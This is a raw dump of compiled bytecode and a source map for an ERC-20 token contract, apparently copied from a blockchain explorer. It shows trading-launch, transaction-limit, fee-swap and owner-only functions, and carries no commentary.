8c7c3b925910160405180910390a3505050565b5f8111610db65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b6001600160a01b0382165f908152600f602052604090205460ff1680610df357506001600160a01b0383165f908152600f602052604090205460ff165b15610dff57601054600b555b6001600160a01b0383165f908152600e602052604090205460ff16158015610e3f57506001600160a01b0382165f908152600e602052604090205460ff16155b8015610e4e5750600c5460ff16155b15610ff257600954610100900460ff16610eaa5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161077e565b43600854600754610ebb91906119bc565b1115610f31576003546001600160a01b03838116911614610ef9576001600160a01b0382165f908152600f60205260409020805460ff191660011790555b6003546001600160a01b03848116911614610f31576001600160a01b0383165f908152600f60205260409020805460ff191660011790555b601154811115610f715760405162461bcd60e51b815260206004820152600b60248201526a13585e151e105b5bdd5b9d60aa1b604482015260640161077e565b6003546001600160a01b03838116911614610ff25760125481610fa8846001600160a01b03165f9081526020819052604090205490565b610fb291906119bc565b1115610ff25760405162461bcd60e51b815260206004820152600f60248201526e13585e15d85b1b195d105b5bdd5b9d608a1b604482015260640161077e565b600c545f9060ff168061101c57506001600160a01b0384165f908152600e602052604090205460ff165b8061103e57506001600160a01b0383165f908152600e602052604090205460ff165b1561104a57505f6110c2565b6003546001600160a01b03848116911614801561107f57506001600160a01b0384165f908152600f602052604090205460ff16155b156110a5576064600b548361109491906119cf565b61109e91906119e6565b90506110c2565b6064600a54836110b591906119cf565b6110bf91906119e6565b90505b60095460ff1680156110d75750600c5460ff16155b80156110f157506003546001600160a01b03858116911614155b80156110fc57505f81115b156111095761110961144f565b80156111335761111a843083611495565b61112e8484611129858561166b565b611495565b61113e565b61113e848484611495565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061117757611177611a24565b60200260200101906001600160a01b031690816001600160a01b031681525050600960029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120c9190611a50565b8160018151811061121f5761121f611a24565b6001600160a01b03928316602091820292909201015260095461124b9130916201000090041684610c32565b60095460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac947906112889085905f90869030904290600401611a6b565b5f604051808303815f87803b15801561129f575f80fd5b505af11580156112b1573d5f803e3d5ffd5b505050505050565b804710156113095760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161077e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611352576040519150601f19603f3d011682016040523d82523d5f602084013e611357565b606091505b50509050806109935760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161077e565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b61143181670de0b6b3a76400006119cf565b60115550565b61144981670de0b6b3a76400006119cf565b60125550565b305f90815260208190526040902054600d548110610b48574761147182611144565b5f61147c8247611974565b601354909150610993906001600160a01b0316826112b9565b6001600160a01b0383166114f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b03821661155b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b6001600160a01b0383165f90815260208190526040902054818110156115d25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161077e565b6115dc8282611974565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906116119084906119bc565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165d91815260200190565b60405180910390a350505050565b5f6116ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116b3565b9392505050565b5f81848411156116d65760405162461bcd60e51b815260040161077e91906116eb565b505f6116e28585611974565b95945050505050565b5f6020808352835180828501525f5b81811015611716578581018301518582016040015282016116fa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b48575f80fd5b803561175581611736565b919050565b5f806040838503121561176b575f80fd5b823561177681611736565b946020939093013593505050565b5f805f60608486031215611796575f80fd5b83356117a181611736565b925060208401356117b181611736565b929592945050506040919091013590565b5f805f606084860312156117d4575f80fd5b505081359360208301359350604090920135919050565b5f602082840312156117fb575f80fd5b81356116ac81611736565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561182b575f80fd5b823567ffffffffffffffff80821115611842575f80fd5b818501915085601f830112611855575f80fd5b81358181111561186757611867611806565b8060051b604051601f19603f8301168101818110858211171561188c5761188c611806565b6040529182528482019250838101850191888311156118a9575f80fd5b938501935b828510156118ce576118bf8561174a565b845293850193928501926118ae565b98975050505050505050565b5f80604083850312156118eb575f80fd5b82356118f681611736565b9150602083013561190681611736565b809150509250929050565b5f60208284031215611921575f80fd5b5035919050565b600181811c9082168061193c57607f821691505b60208210810361195a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156106ec576106ec611960565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156106ec576106ec611960565b80820281158282048414176106ec576106ec611960565b5f82611a0057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611a15575f80fd5b815180151581146116ac575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60018201611a4957611a49611960565b5060010190565b5f60208284031215611a60575f80fd5b81516116ac81611736565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611ab95784516001600160a01b031683529383019391830191600101611a94565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209856ca72a2bc334acdaa5f8eb8fbdb14d20fc9896128bc03c8bb5ab31bba665064736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101ff575f3560e01c806395d89b4111610113578063d6dacb441161009d578063f14210a61161006d578063f14210a6146105bc578063f25f4b56146105db578063f2fde38b146105fa578063f5d05e8e14610619578063ffb54a991461062e575f80fd5b8063d6dacb4414610512578063dbe66ca01461052b578063dd62ed3e14610559578063e559d86a1461059d575f80fd5b8063a95de078116100e3578063a95de07814610496578063b09d2f84146104ab578063c04a5414146104ca578063c654cd11146104e9578063c9567bf9146104fe575f80fd5b806395d89b41146104255780639ed6b92014610439578063a457c2d714610458578063a9059cbb14610477575f80fd5b806332972e4611610194578063735de9f711610164578063735de9f7146103a45780637e150d66146103c957806383f44c5c146103de5780638da5cb5b146103f35780638f3fa86014610410575f80fd5b806332972e4614610306578063395093511461033d57806370a082311461035c578063715018a614610390575f80fd5b806318160ddd116101cf57806318160ddd1461029757806323b872dd146102ab57806326b5d32f146102ca578063313ce567146102eb575f80fd5b80630445b6671461020a57806306fdde0314610232578063095ea7b3146102535780631756071514610282575f80fd5b3661020657005b5f80fd5b348015610215575f80fd5b5061021f600d5481565b6040519081526020015b60405180910390f35b34801561023d575f80fd5b5061024661064c565b60405161022991906116eb565b34801561025e575f80fd5b5061027261026d36600461175a565b6106dc565b6040519015158152602001610229565b34801561028d575f80fd5b5061021f60105481565b3480156102a2575f80fd5b5060055461021f565b3480156102b6575f80fd5b506102726102c5366004611784565b6106f2565b3480156102d5575f80fd5b506102e96102e43660046117c2565b6107a6565b005b3480156102f6575f80fd5b5060405160128152602001610229565b348015610311575f80fd5b50600354610325906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b348015610348575f80fd5b5061027261035736600461175a565b610860565b348015610367575f80fd5b5061021f6103763660046117eb565b6001600160a01b03165f9081526020819052604090205490565b34801561039b575f80fd5b506102e9610896565b3480156103af575f80fd5b50600954610325906201000090046001600160a01b031681565b3480156103d4575f80fd5b5061021f60115481565b3480156103e9575f80fd5b5061021f60085481565b3480156103fe575f80fd5b506006546001600160a01b0316610325565b34801561041b575f80fd5b5061021f60125481565b348015610430575f80fd5b506102466108cb565b348015610444575f80fd5b506102e961045336600461175a565b6108da565b348015610463575f80fd5b5061027261047236600461175a565b610998565b348015610482575f80fd5b5061027261049136600461175a565b610a32565b3480156104a1575f80fd5b5061021f600b5481565b3480156104b6575f80fd5b506102e96104c536600461181a565b610a3e565b3480156104d5575f80fd5b50601454610325906001600160a01b031681565b3480156104f4575f80fd5b5061021f60075481565b348015610509575f80fd5b506102e9610ad1565b34801561051d575f80fd5b506009546102729060ff1681565b348015610536575f80fd5b506102726105453660046117eb565b600e6020525f908152604090205460ff1681565b348015610564575f80fd5b5061021f6105733660046118da565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105a8575f80fd5b506102e96105b7366004611911565b610b0c565b3480156105c7575f80fd5b506102e96105d6366004611911565b610b4b565b3480156105e6575f80fd5b50601354610325906001600160a01b031681565b348015610605575f80fd5b506102e96106143660046117eb565b610b9a565b348015610624575f80fd5b5061021f600a5481565b348015610639575f80fd5b5060095461027290610100900460ff1681565b60606001805461065b90611928565b80601f016020809104026020016040519081016040528092919081815260200182805461068790611928565b80156106d25780601f106106a9576101008083540402835291602001916106d2565b820191905f5260205f20905b8154815290600101906020018083116106b557829003601f168201915b5050505050905090565b5f6106e8338484610c32565b5060015b92915050565b5f6106fe848484610d55565b6001600160a01b0384165f908152600460209081526040808320338452909152902054828110156107875760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61079b85336107968685611974565b610c32565b506001949350505050565b6006546001600160a01b031633146107d05760405162461bcd60e51b815260040161077e90611987565b476107da84611144565b5f6107e58247611974565b90508215610820576108206107fa84866119bc565b61080485846119cf565b61080e91906119e6565b6013546001600160a01b0316906112b9565b83156108595761085961083384866119bc565b61083d86846119cf565b61084791906119e6565b6014546001600160a01b0316906112b9565b5050505050565b335f8181526004602090815260408083206001600160a01b038716845290915281205490916106e89185906107969086906119bc565b6006546001600160a01b031633146108c05760405162461bcd60e51b815260040161077e90611987565b6108c95f6113ce565b565b60606002805461065b90611928565b6006546001600160a01b031633146109045760405162461bcd60e51b815260040161077e90611987565b816001600160a01b031663a9059cbb6109256006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561096f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109939190611a05565b505050565b335f9081526004602090815260408083206001600160a01b038616845290915281205482811015610a195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161077e565b610a2833856107968685611974565b5060019392505050565b5f6106e8338484610d55565b6006546001600160a01b03163314610a685760405162461bcd60e51b815260040161077e90611987565b5f5b8151811015610acd576001600f5f848481518110610a8a57610a8a611a24565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610ac581611a38565b915050610a6a565b5050565b6006546001600160a01b03163314610afb5760405162461bcd60e51b815260040161077e90611987565b6009805461ffff1916610101179055565b6006546001600160a01b03163314610b365760405162461bcd60e51b815260040161077e90611987565b610b3f8161141f565b610b4881611437565b50565b6006546001600160a01b03163314610b755760405162461bcd60e51b815260040161077e90611987565b610b4881610b8b6006546001600160a01b031690565b6001600160a01b0316906112b9565b6006546001600160a01b03163314610bc45760405162461bcd60e51b815260040161077e90611987565b6001600160a01b038116610c295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161077e565b610b48816113ce565b6001600160a01b038316610c945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b038216610cf55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610db65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b6001600160a01b0382165f908152600f602052604090205460ff1680610df357506001600160a01b0383165f908152600f602052604090205460ff165b15610dff57601054600b555b6001600160a01b0383165f908152600e602052604090205460ff16158015610e3f57506001600160a01b0382165f908152600e602052604090205460ff16155b8015610e4e5750600c5460ff16155b15610ff257600954610100900460ff16610eaa5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161077e565b43600854600754610ebb91906119bc565b1115610f31576003546001600160a01b03838116911614610ef9576001600160a01b0382165f908152600f60205260409020805460ff191660011790555b6003546001600160a01b03848116911614610f31576001600160a01b0383165f908152600f60205260409020805460ff191660011790555b601154811115610f715760405162461bcd60e51b815260206004820152600b60248201526a13585e151e105b5bdd5b9d60aa1b604482015260640161077e565b6003546001600160a01b03838116911614610ff25760125481610fa8846001600160a01b03165f9081526020819052604090205490565b610fb291906119bc565b1115610ff25760405162461bcd60e51b815260206004820152600f60248201526e13585e15d85b1b195d105b5bdd5b9d608a1b604482015260640161077e565b600c545f9060ff168061101c57506001600160a01b0384165f908152600e602052604090205460ff165b8061103e57506001600160a01b0383165f908152600e602052604090205460ff165b1561104a57505f6110c2565b6003546001600160a01b03848116911614801561107f57506001600160a01b0384165f908152600f602052604090205460ff16155b156110a5576064600b548361109491906119cf565b61109e91906119e6565b90506110c2565b6064600a54836110b591906119cf565b6110bf91906119e6565b90505b60095460ff1680156110d75750600c5460ff16155b80156110f157506003546001600160a01b03858116911614155b80156110fc57505f81115b156111095761110961144f565b80156111335761111a843083611495565b61112e8484611129858561166b565b611495565b61113e565b61113e848484611495565b50505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061117757611177611a24565b60200260200101906001600160a01b031690816001600160a01b031681525050600960029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120c9190611a50565b8160018151811061121f5761121f611a24565b6001600160a01b03928316602091820292909201015260095461124b9130916201000090041684610c32565b60095460405163791ac94760e01b8152620100009091046001600160a01b03169063791ac947906112889085905f90869030904290600401611a6b565b5f604051808303815f87803b15801561129f575f80fd5b505af11580156112b1573d5f803e3d5ffd5b505050505050565b804710156113095760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161077e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611352576040519150601f19603f3d011682016040523d82523d5f602084013e611357565b606091505b50509050806109935760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161077e565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b61143181670de0b6b3a76400006119cf565b60115550565b61144981670de0b6b3a76400006119cf565b60125550565b305f90815260208190526040902054600d548110610b48574761147182611144565b5f61147c8247611974565b601354909150610993906001600160a01b0316826112b9565b6001600160a01b0383166114f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b03821661155b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b6001600160a01b0383165f90815260208190526040902054818110156115d25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161077e565b6115dc8282611974565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906116119084906119bc565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165d91815260200190565b60405180910390a350505050565b5f6116ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116b3565b9392505050565b5f81848411156116d65760405162461bcd60e51b815260040161077e91906116eb565b505f6116e28585611974565b95945050505050565b5f6020808352835180828501525f5b81811015611716578581018301518582016040015282016116fa565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b48575f80fd5b803561175581611736565b919050565b5f806040838503121561176b575f80fd5b823561177681611736565b946020939093013593505050565b5f805f60608486031215611796575f80fd5b83356117a181611736565b925060208401356117b181611736565b929592945050506040919091013590565b5f805f606084860312156117d4575f80fd5b505081359360208301359350604090920135919050565b5f602082840312156117fb575f80fd5b81356116ac81611736565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561182b575f80fd5b823567ffffffffffffffff80821115611842575f80fd5b818501915085601f830112611855575f80fd5b81358181111561186757611867611806565b8060051b604051601f19603f8301168101818110858211171561188c5761188c611806565b6040529182528482019250838101850191888311156118a9575f80fd5b938501935b828510156118ce576118bf8561174a565b845293850193928501926118ae565b98975050505050505050565b5f80604083850312156118eb575f80fd5b82356118f681611736565b9150602083013561190681611736565b809150509250929050565b5f60208284031215611921575f80fd5b5035919050565b600181811c9082168061193c57607f821691505b60208210810361195a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156106ec576106ec611960565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156106ec576106ec611960565b80820281158282048414176106ec576106ec611960565b5f82611a0057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611a15575f80fd5b815180151581146116ac575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60018201611a4957611a49611960565b5060010190565b5f60208284031215611a60575f80fd5b81516116ac81611736565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611ab95784516001600160a01b031683529383019391830191600101611a94565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212209856ca72a2bc334acdaa5f8eb8fbdb14d20fc9896128bc03c8bb5ab31bba665064736f6c63430008140033

Deployed Bytecode Sourcemap

12697:6325:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13098:46;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;13098:46:0;;;;;;;;6682:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7486:169::-;;;;;;;;;;-1:-1:-1;7486:169:0;;;;;:::i;:::-;;:::i;:::-;;;1509:14:1;;1502:22;1484:41;;1472:2;1457:18;7486:169:0;1344:187:1;13258:28:0;;;;;;;;;;;;;;;;6893:108;;;;;;;;;;-1:-1:-1;6981:12:0;;6893:108;;7884:422;;;;;;;;;;-1:-1:-1;7884:422:0;;;;;:::i;:::-;;:::i;14275:547::-;;;;;;;;;;-1:-1:-1;14275:547:0;;;;;:::i;:::-;;:::i;:::-;;6792:93;;;;;;;;;;-1:-1:-1;6792:93:0;;6875:2;2460:36:1;;2448:2;2433:18;6792:93:0;2318:184:1;6300:22:0;;;;;;;;;;-1:-1:-1;6300:22:0;;;;-1:-1:-1;;;;;6300:22:0;;;;;;-1:-1:-1;;;;;2671:32:1;;;2653:51;;2641:2;2626:18;6300:22:0;2507:203:1;7663:215:0;;;;;;;;;;-1:-1:-1;7663:215:0;;;;;:::i;:::-;;:::i;7009:127::-;;;;;;;;;;-1:-1:-1;7009:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7110:18:0;7083:7;7110:18;;;;;;;;;;;;7009:127;11132:94;;;;;;;;;;;;;:::i;12943:28::-;;;;;;;;;;-1:-1:-1;12943:28:0;;;;;;;-1:-1:-1;;;;;12943:28:0;;;13295:46;;;;;;;;;;;;;;;;12848:29;;;;;;;;;;;;;;;;10909:87;;;;;;;;;;-1:-1:-1;10982:6:0;;-1:-1:-1;;;;;10982:6:0;10909:87;;13356:50;;;;;;;;;;;;;;;;6570:104;;;;;;;;;;;;;:::i;17530:149::-;;;;;;;;;;-1:-1:-1;17530:149:0;;;;;:::i;:::-;;:::i;8870:377::-;;;;;;;;;;-1:-1:-1;8870:377:0;;;;;:::i;:::-;;:::i;7144:175::-;;;;;;;;;;-1:-1:-1;7144:175:0;;;;;:::i;:::-;;:::i;13025:32::-;;;;;;;;;;;;;;;;18642:174;;;;;;;;;;-1:-1:-1;18642:174:0;;;;;:::i;:::-;;:::i;13497:77::-;;;;;;;;;;-1:-1:-1;13497:77:0;;;;-1:-1:-1;;;;;13497:77:0;;;12815:26;;;;;;;;;;;;;;;;15054:97;;;;;;;;;;;;;:::i;12884:22::-;;;;;;;;;;-1:-1:-1;12884:22:0;;;;;;;;13153:49;;;;;;;;;;-1:-1:-1;13153:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7327:151;;;;;;;;;;-1:-1:-1;7327:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;7443:18:0;;;7416:7;7443:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7327:151;18824:130;;;;;;;;;;-1:-1:-1;18824:130:0;;;;;:::i;:::-;;:::i;14149:114::-;;;;;;;;;;-1:-1:-1;14149:114:0;;;;;:::i;:::-;;:::i;13421:69::-;;;;;;;;;;-1:-1:-1;13421:69:0;;;;-1:-1:-1;;;;;13421:69:0;;;11234:192;;;;;;;;;;-1:-1:-1;11234:192:0;;;;;:::i;:::-;;:::i;12978:31::-;;;;;;;;;;;;;;;;12913:23;;;;;;;;;;-1:-1:-1;12913:23:0;;;;;;;;;;;6682:100;6736:13;6769:5;6762:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6682:100;:::o;7486:169::-;7569:4;7586:39;1389:10;7609:7;7618:6;7586:8;:39::i;:::-;-1:-1:-1;7643:4:0;7486:169;;;;;:::o;7884:422::-;7990:4;8007:36;8017:6;8025:9;8036:6;8007:9;:36::i;:::-;-1:-1:-1;;;;;8083:19:0;;8056:24;8083:19;;;:11;:19;;;;;;;;1389:10;8083:33;;;;;;;;8135:26;;;;8127:79;;;;-1:-1:-1;;;8127:79:0;;5613:2:1;8127:79:0;;;5595:21:1;5652:2;5632:18;;;5625:30;5691:34;5671:18;;;5664:62;-1:-1:-1;;;5742:18:1;;;5735:38;5790:19;;8127:79:0;;;;;;;;;8217:57;8226:6;1389:10;8248:25;8267:6;8248:16;:25;:::i;:::-;8217:8;:57::i;:::-;-1:-1:-1;8294:4:0;;7884:422;-1:-1:-1;;;;7884:422:0:o;14275:547::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;14414:21:::1;14446:23;14462:6:::0;14446:15:::1;:23::i;:::-;14480:18;14501:35;14525:11:::0;14501:21:::1;:35;:::i;:::-;14480:56:::0;-1:-1:-1;14550:23:0;;14547:130:::1;;14575:102;14640:35;14656:19:::0;14640:13;:35:::1;:::i;:::-;14604:32;14617:19:::0;14604:10;:32:::1;:::i;:::-;:72;;;;:::i;:::-;14583:9;::::0;-1:-1:-1;;;;;14583:9:0::1;::::0;14575:28:::1;:102::i;:::-;14691:17:::0;;14688:126:::1;;14710:104;14777:35;14793:19:::0;14777:13;:35:::1;:::i;:::-;14747:26;14760:13:::0;14747:10;:26:::1;:::i;:::-;:66;;;;:::i;:::-;14718:17;::::0;-1:-1:-1;;;;;14718:17:0::1;::::0;14710:36:::1;:104::i;:::-;14381:441;;14275:547:::0;;;:::o;7663:215::-;1389:10;7751:4;7800:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7800:34:0;;;;;;;;;;7751:4;;7768:80;;7791:7;;7800:47;;7837:10;;7800:47;:::i;11132:94::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;11197:21:::1;11215:1;11197:9;:21::i;:::-;11132:94::o:0;6570:104::-;6626:13;6659:7;6652:14;;;;;:::i;17530:149::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;17632:12:::1;-1:-1:-1::0;;;;;17625:29:0::1;;17655:7;10982:6:::0;;-1:-1:-1;;;;;10982:6:0;;10909:87;17655:7:::1;17625:46;::::0;-1:-1:-1;;;;;;17625:46:0::1;::::0;;;;;;-1:-1:-1;;;;;7163:32:1;;;17625:46:0::1;::::0;::::1;7145:51:1::0;7212:18;;;7205:34;;;7118:18;;17625:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17530:149:::0;;:::o;8870:377::-;1389:10;8963:4;9007:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9007:34:0;;;;;;;;;;9060:35;;;;9052:85;;;;-1:-1:-1;;;9052:85:0;;7734:2:1;9052:85:0;;;7716:21:1;7773:2;7753:18;;;7746:30;7812:34;7792:18;;;7785:62;-1:-1:-1;;;7863:18:1;;;7856:35;7908:19;;9052:85:0;7532:401:1;9052:85:0;9148:67;1389:10;9171:7;9180:34;9199:15;9180:16;:34;:::i;9148:67::-;-1:-1:-1;9235:4:0;;8870:377;-1:-1:-1;;;8870:377:0:o;7144:175::-;7230:4;7247:42;1389:10;7271:9;7282:6;7247:9;:42::i;18642:174::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;18720:6:::1;18715:94;18736:6;:13;18732:1;:17;18715:94;;;18793:4;18771:8;:19;18780:6;18787:1;18780:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;18771:19:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;18771:19:0;:26;;-1:-1:-1;;18771:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18751:3;::::1;::::0;::::1;:::i;:::-;;;;18715:94;;;;18642:174:::0;:::o;15054:97::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;15106:11:::1;:18:::0;;-1:-1:-1;;15126:17:0;;;;;15054:97::o;18824:130::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;18890:25:::1;18908:6;18890:17;:25::i;:::-;18917:29;18939:6;18917:21;:29::i;:::-;18824:130:::0;:::o;14149:114::-;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;14218:37:::1;14245:9;14226:7;10982:6:::0;;-1:-1:-1;;;;;10982:6:0;;10909:87;14226:7:::1;-1:-1:-1::0;;;;;14218:26:0::1;::::0;::::1;:37::i;11234:192::-:0;10982:6;;-1:-1:-1;;;;;10982:6:0;1389:10;11044:23;11036:68;;;;-1:-1:-1;;;11036:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11323:22:0;::::1;11315:73;;;::::0;-1:-1:-1;;;11315:73:0;;8412:2:1;11315:73:0::1;::::0;::::1;8394:21:1::0;8451:2;8431:18;;;8424:30;8490:34;8470:18;;;8463:62;-1:-1:-1;;;8541:18:1;;;8534:36;8587:19;;11315:73:0::1;8210:402:1::0;11315:73:0::1;11399:19;11409:8;11399:9;:19::i;9584:346::-:0;-1:-1:-1;;;;;9686:19:0;;9678:68;;;;-1:-1:-1;;;9678:68:0;;8819:2:1;9678:68:0;;;8801:21:1;8858:2;8838:18;;;8831:30;8897:34;8877:18;;;8870:62;-1:-1:-1;;;8948:18:1;;;8941:34;8992:19;;9678:68:0;8617:400:1;9678:68:0;-1:-1:-1;;;;;9765:21:0;;9757:68;;;;-1:-1:-1;;;9757:68:0;;9224:2:1;9757:68:0;;;9206:21:1;9263:2;9243:18;;;9236:30;9302:34;9282:18;;;9275:62;-1:-1:-1;;;9353:18:1;;;9346:32;9395:19;;9757:68:0;9022:398:1;9757:68:0;-1:-1:-1;;;;;9838:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9890:32;;160:25:1;;;9890:32:0;;133:18:1;9890:32:0;;;;;;;9584:346;;;:::o;15595:1929::-;15746:1;15737:6;:10;15729:64;;;;-1:-1:-1;;;15729:64:0;;9627:2:1;15729:64:0;;;9609:21:1;9666:2;9646:18;;;9639:30;9705:34;9685:18;;;9678:62;-1:-1:-1;;;9756:1